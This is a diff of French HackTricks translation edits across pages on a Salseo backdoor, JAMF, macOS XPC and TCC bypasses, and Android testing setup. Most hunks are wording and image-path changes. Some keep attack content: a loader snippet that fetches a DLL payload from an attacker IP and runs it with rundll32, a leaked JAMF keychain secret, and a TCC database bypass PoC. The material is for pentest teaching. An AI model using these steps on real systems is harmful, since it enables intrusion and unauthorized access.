![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installez DllExport pour ce projet
|
||||
|
||||
#### **Outils** --> **Gestionnaire de packages NuGet** --> **Gérer les packages NuGet pour la solution...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Recherchez le package DllExport (en utilisant l'onglet Parcourir) et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
|
||||
#### **Recherchez le package DllExport (utilisez l'onglet Parcourir) et appuyez sur Installer (et acceptez la fenêtre contextuelle)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
|
||||
|
||||
Dans le dossier de votre projet, les fichiers suivants sont apparus : **DllExport.bat** et **DllExport\_Configure.bat**
|
||||
|
||||
### **Désinstallez DllExport**
|
||||
### **Désinstallez** DllExport
|
||||
|
||||
Appuyez sur **Désinstaller** (oui, c'est étrange mais faites-moi confiance, c'est nécessaire)
|
||||
Appuyez sur **Désinstaller** (oui, c'est bizarre mais faites-moi confiance, c'est nécessaire)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
|
@ -143,7 +143,7 @@ Sélectionnez **Type de sortie = Bibliothèque de classes** (Projet --> Proprié
|
|||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
Sélectionnez **Plateforme x64** (Projet --> Propriétés de SalseoLoader --> Général --> Cible de la plateforme = x64)
|
||||
Sélectionnez la **plateforme x64** (Projet --> Propriétés de SalseoLoader --> Général --> Cible de la plateforme = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
|
@ -178,17 +178,15 @@ CMD (Command Prompt) is a command-line interpreter for Windows operating systems
|
|||
|
||||
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can perform a wide range of activities, including reconnaissance, privilege escalation, and data exfiltration.
|
||||
|
||||
To exploit CMD, hackers often use backdoors to gain persistent access to a compromised system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can maintain access even if the system is patched or the user's password is changed.
|
||||
To exploit CMD, hackers often use backdoors to gain persistent access to a target system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can maintain access even if the system's security measures are strengthened or changed.
|
||||
|
||||
There are several ways to create a backdoor in CMD. One common method is to use the "netsh" command to create a persistent backdoor. The "netsh" command is a powerful tool that allows users to configure network settings. By using the "netsh" command, hackers can create a backdoor that listens for incoming connections and provides them with remote access to the compromised system.
|
||||
There are several ways to create a backdoor for CMD. One common method is to modify the system's registry to execute a malicious script every time CMD is launched. Another method is to create a malicious executable file that is disguised as a legitimate system file.
|
||||
|
||||
Another method is to use the "reg" command to create a backdoor in the Windows Registry. The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. By modifying the Registry, hackers can create a backdoor that is executed every time the system starts up, providing them with persistent access to the compromised system.
|
||||
Once a backdoor is installed, hackers can use CMD to execute commands remotely, bypassing security measures and gaining control over the target system. This can be done by connecting to the target system using remote access tools or by exploiting vulnerabilities in network protocols.
|
||||
|
||||
In addition to creating backdoors, hackers can also use CMD to perform other malicious activities. For example, they can use CMD to execute malware, steal sensitive information, or launch denial-of-service attacks.
|
||||
To protect against CMD backdoors, it is important to regularly update and patch the operating system, use strong passwords, and monitor system logs for any suspicious activity. Additionally, implementing network segmentation and access controls can help prevent unauthorized access to CMD and other critical system components.
|
||||
|
||||
To protect against CMD-based attacks, it is important to implement strong security measures, such as regularly updating the operating system, using strong passwords, and monitoring system logs for suspicious activities. Additionally, it is recommended to use antivirus software and firewall to detect and block malicious CMD commands and scripts.
|
||||
|
||||
By understanding how CMD works and the various techniques used by hackers, you can better protect your systems and networks from unauthorized access and malicious activities.
|
||||
By understanding how CMD works and the potential risks associated with it, both system administrators and ethical hackers can better protect their systems and networks from unauthorized access and malicious activities.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -202,7 +200,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -82,7 +82,7 @@ hexdump 'binary.pyc' | head
|
|||
|
||||
D'autres erreurs comme : `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` peuvent apparaître.
|
||||
|
||||
Cela signifie probablement que vous n'avez pas correctement ajouté le nombre magique ou que vous n'avez pas utilisé le bon nombre magique, donc assurez-vous d'utiliser le bon (ou essayez-en un nouveau).
|
||||
Cela signifie probablement que vous n'avez pas ajouté correctement le nombre magique ou que vous n'avez pas utilisé le bon nombre magique, donc assurez-vous d'utiliser le bon (ou essayez-en un nouveau).
|
||||
|
||||
Vérifiez la documentation d'erreur précédente.
|
||||
|
||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
|
@ -221,7 +221,7 @@ Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -49,11 +49,11 @@ Vous pouvez utiliser le script [**JamfSniper.py**](https://github.com/WithSecure
|
|||
|
||||
De plus, après avoir trouvé les identifiants appropriés, vous pourriez être en mesure de forcer d'autres noms d'utilisateur avec le formulaire suivant :
|
||||
|
||||
![](<../../.gitbook/assets/image (7).png>)
|
||||
![](<../../.gitbook/assets/image (7) (1).png>)
|
||||
|
||||
#### Authentification de l'appareil JAMF
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Le binaire **`jamf`** contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était **partagé** entre tout le monde et c'était : **`jk23ucnq91jfu9aj`**.\
|
||||
De plus, jamf **persiste** en tant que **LaunchDaemon** dans **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
|
||||
|
@ -116,7 +116,7 @@ Et aussi sur les **protocoles réseau** **"spéciaux"** de **MacOS** :
|
|||
|
||||
## Active Directory
|
||||
|
||||
Dans certains cas, vous constaterez que l'ordinateur **MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **recenser** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
|
||||
Dans certains cas, vous constaterez que l'ordinateur **MacOS est connecté à un AD**. Dans ce scénario, vous devriez essayer de **répertorier** l'annuaire actif comme vous en avez l'habitude. Trouvez de l'**aide** dans les pages suivantes :
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
|
|
@ -5,7 +5,7 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
## Réutilisation de PID
|
||||
|
||||
Lorsqu'un service **XPC** sur macOS vérifie le processus appelé en fonction du **PID** et non du **jeton d'audit**, il est vulnérable à une attaque de réutilisation de PID. Cette attaque est basée sur une **condition de concurrence** où une **exploitation** va **envoyer des messages à l'XPC** en **abusant** de la fonctionnalité et juste **après**, exécuter **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** avec le binaire **autorisé**.
|
||||
Lorsqu'un service **XPC** de macOS vérifie le processus appelé en fonction du **PID** et non du **jeton d'audit**, il est vulnérable à une attaque de réutilisation de PID. Cette attaque est basée sur une **condition de concurrence** où une **exploitation** va **envoyer des messages à l'XPC** en **abusant** de la fonctionnalité et juste **après**, exécuter **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** avec le binaire **autorisé**.
|
||||
|
||||
Cette fonction fera en sorte que le binaire **autorisé possède le PID**, mais le **message XPC malveillant aura été envoyé** juste avant. Ainsi, si le service **XPC** utilise le **PID** pour **authentifier** l'expéditeur et le vérifie **APRÈS** l'exécution de **`posix_spawn`**, il pensera qu'il provient d'un processus **autorisé**.
|
||||
|
||||
|
@ -23,7 +23,7 @@ Cette fonction fera en sorte que le binaire **autorisé possède le PID**, mais
|
|||
Si vous trouvez la fonction **`shouldAcceptNewConnection`** ou une fonction appelée par celle-ci appelant **`processIdentifier`** et ne faisant pas appel à **`auditToken`**, il est très probable qu'elle vérifie le PID du processus et non le jeton d'audit.\
|
||||
Comme par exemple dans cette image (prise à partir de la référence) :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vérifiez cet exemple d'exploitation (encore une fois, pris à partir de la référence) pour voir les 2 parties de l'exploitation :
|
||||
|
||||
|
|
|
@ -22,7 +22,7 @@ Les extensions de noyau (Kexts) sont des **paquets** avec l'extension **`.kext`*
|
|||
|
||||
* Lorsque vous entrez en **mode de récupération**, les extensions de noyau doivent être **autorisées à être chargées** :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* L'extension de noyau doit être **signée avec un certificat de signature de code de noyau**, qui ne peut être délivré que par **Apple**. Qui examinera en détail l'**entreprise** et les **raisons** pour lesquelles elle est nécessaire.
|
||||
* L'extension de noyau doit également être **notarisée**, Apple pourra la vérifier pour détecter les logiciels malveillants.
|
||||
|
|
|
@ -76,7 +76,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
ou en utilisant l'outil [Mach-O View](https://sourceforge.net/projects/machoview/) :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Comme vous pouvez le penser, un binaire universel compilé pour 2 architectures **double la taille** de celui compilé pour une seule architecture.
|
||||
|
||||
|
@ -195,9 +195,9 @@ Exemple d'**en-tête de section** :
|
|||
|
||||
Si vous **ajoutez** le **décalage de section** (0x37DC) + le **décalage** où **l'architecture commence**, dans ce cas `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Il est également possible d'obtenir des **informations d'en-tête** depuis la **ligne de commande** avec :
|
||||
Il est également possible d'obtenir des **informations d'en-tête** à partir de la **ligne de commande** avec :
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
|
@ -219,7 +219,7 @@ Segments communs chargés par cette commande :
|
|||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
Contient le point d'entrée dans l'attribut **entryoff**. Au moment du chargement, **dyld** ajoute simplement cette valeur à la **base du binaire** en mémoire, puis **saute** vers cette instruction pour démarrer l'exécution du code du binaire.
|
||||
Contient le point d'entrée dans l'attribut **entryoff**. Au moment du chargement, **dyld** ajoute simplement cette valeur à la **base du binaire en mémoire**, puis **saute** vers cette instruction pour démarrer l'exécution du code du binaire.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
|
|
|
@ -21,7 +21,7 @@ Il crée deux tubes nommés par processus .Net dans [dbgtransportsession.cpp#L12
|
|||
|
||||
Ainsi, si vous accédez au répertoire **`$TMPDIR`** de l'utilisateur, vous pourrez trouver des **fifos de débogage** que vous pourrez utiliser pour déboguer des applications .Net :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
La fonction [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) gérera la communication depuis un débogueur.
|
||||
|
||||
|
@ -47,7 +47,7 @@ DWORD m_dwMinorVersion;
|
|||
BYTE m_sMustBeZero[8];
|
||||
}
|
||||
```
|
||||
Dans le cas d'une demande de nouvelle session, cette structure est remplie comme suit:
|
||||
Dans le cas d'une nouvelle demande de session, cette structure est remplie comme suit :
|
||||
```c
|
||||
static const DWORD kCurrentMajorVersion = 2;
|
||||
static const DWORD kCurrentMinorVersion = 0;
|
||||
|
|
|
@ -110,7 +110,7 @@ Le démon **tccd** de l'espace utilisateur utilise la variable d'environnement *
|
|||
|
||||
Selon [cette publication sur Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) et parce que le démon TCC s'exécute via `launchd` dans le domaine de l'utilisateur actuel, il est possible de **contrôler toutes les variables d'environnement** qui lui sont transmises.\
|
||||
Ainsi, un **attaquant pourrait définir la variable d'environnement `$HOME`** dans **`launchctl`** pour pointer vers un **répertoire contrôlé**, **redémarrer** le démon **TCC**, puis **modifier directement la base de données TCC** pour s'attribuer **tous les privilèges TCC disponibles** sans jamais demander l'autorisation à l'utilisateur final.\
|
||||
Preuve de concept (PoC) :
|
||||
PoC :
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
$> tccutil reset All
|
||||
|
@ -139,9 +139,9 @@ $> ls ~/Documents
|
|||
```
|
||||
### CVE-2021-30761 - Notes
|
||||
|
||||
Les notes avaient accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est créée dans un emplacement non protégé. Ainsi, vous pouviez demander aux notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
|
||||
Les notes avaient accès aux emplacements protégés par TCC, mais lorsqu'une note est créée, elle est créée dans un emplacement non protégé. Ainsi, vous pouvez demander aux notes de copier un fichier protégé dans une note (donc dans un emplacement non protégé) et ensuite accéder au fichier :
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-XXXX - Translocation
|
||||
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Un grand merci à [**@offsecjay**](https://twitter.com/offsecjay) pour son aide lors de la création de ce contenu.
|
||||
Merci beaucoup à [**@offsecjay**](https://twitter.com/offsecjay) pour son aide lors de la création de ce contenu.
|
||||
|
||||
## Qu'est-ce que c'est
|
||||
|
||||
|
@ -28,7 +28,7 @@ Sous Mac, vous pouvez **télécharger les outils SDK** et les avoir dans le PATH
|
|||
brew tap homebrew/cask
|
||||
brew install --cask android-sdk
|
||||
```
|
||||
Ou depuis l'interface graphique d'**Android Studio** comme indiqué dans [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) qui les installera dans `~/Library/Android/sdk/cmdline-tools/latest/bin/` et `~/Library/Android/sdk/platform-tools/` et `~/Library/Android/sdk/emulator/`
|
||||
Ou à partir de l'interface graphique d'**Android Studio** comme indiqué dans [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) qui les installera dans `~/Library/Android/sdk/cmdline-tools/latest/bin/` et `~/Library/Android/sdk/platform-tools/` et `~/Library/Android/sdk/emulator/`
|
||||
|
||||
Pour les problèmes de Java: 
|
||||
```java
|
||||
|
@ -38,7 +38,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
|
|||
|
||||
### Préparer la machine virtuelle
|
||||
|
||||
Si vous avez installé Android Studio, vous pouvez simplement ouvrir la vue principale du projet et accéder à : _**Outils**_ --> _**Gestionnaire AVD.**_
|
||||
Si vous avez installé Android Studio, vous pouvez simplement ouvrir la vue principale du projet et accéder à : _**Outils**_ --> _**Gestionnaire AVD**_.
|
||||
|
||||
<div align="center" data-full-width="false">
|
||||
|
||||
|
@ -50,7 +50,7 @@ Ensuite, cliquez sur _**Créer un périphérique virtuel**_
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (671).png" alt="" width="188"><figcaption></figcaption></figure>
|
||||
|
||||
_**sélectionnez** le téléphone que vous souhaitez utiliser_ et cliquez sur _**Suivant.**_
|
||||
_**sélectionnez** le téléphone que vous souhaitez utiliser_ et cliquez sur _**Suivant**_.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un avec l'icône Play Store !
|
||||
|
@ -252,21 +252,21 @@ Si vous avez **rooté votre appareil avec Magisc** (peut-être un émulateur) et
|
|||
|
||||
Expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=qQicUW0svB8), vous devez :
|
||||
|
||||
1. **Installer un certificat CA** : Faites simplement **glisser et déposer** le certificat Burp DER en **changeant l'extension** en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements, puis allez dans `Installer un certificat` -> `Certificat CA`
|
||||
1. **Installer un certificat CA** : Faites simplement **glisser et déposer** le certificat Burp DER en changeant l'extension en `.crt` sur le mobile afin qu'il soit stocké dans le dossier Téléchargements, puis allez dans `Installer un certificat` -> `Certificat CA`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Vérifiez que le certificat a été correctement stocké en allant dans `Certificats de confiance` -> `UTILISATEUR`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Rendez-le fiable pour le système** : Téléchargez le module Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (un fichier .zip), **glissez et déposez-le** sur le téléphone, allez dans l'application Magics sur le téléphone dans la section **`Modules`**, cliquez sur **`Installer depuis le stockage`**, sélectionnez le module `.zip` et une fois installé, **redémarrez** le téléphone :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Après le redémarrage, allez dans `Certificats de confiance` -> `SYSTÈME` et vérifiez que le certificat Postswigger est présent
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Options pratiques pour AVD
|
||||
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et que vous voulez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -135,7 +135,7 @@ Vous pouvez voir cela dans [le prochain tutoriel](frida-tutorial-2.md).
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -145,7 +145,7 @@ Si vous êtes intéressé par une **carrière de piratage** et que vous souhaite
|
|||
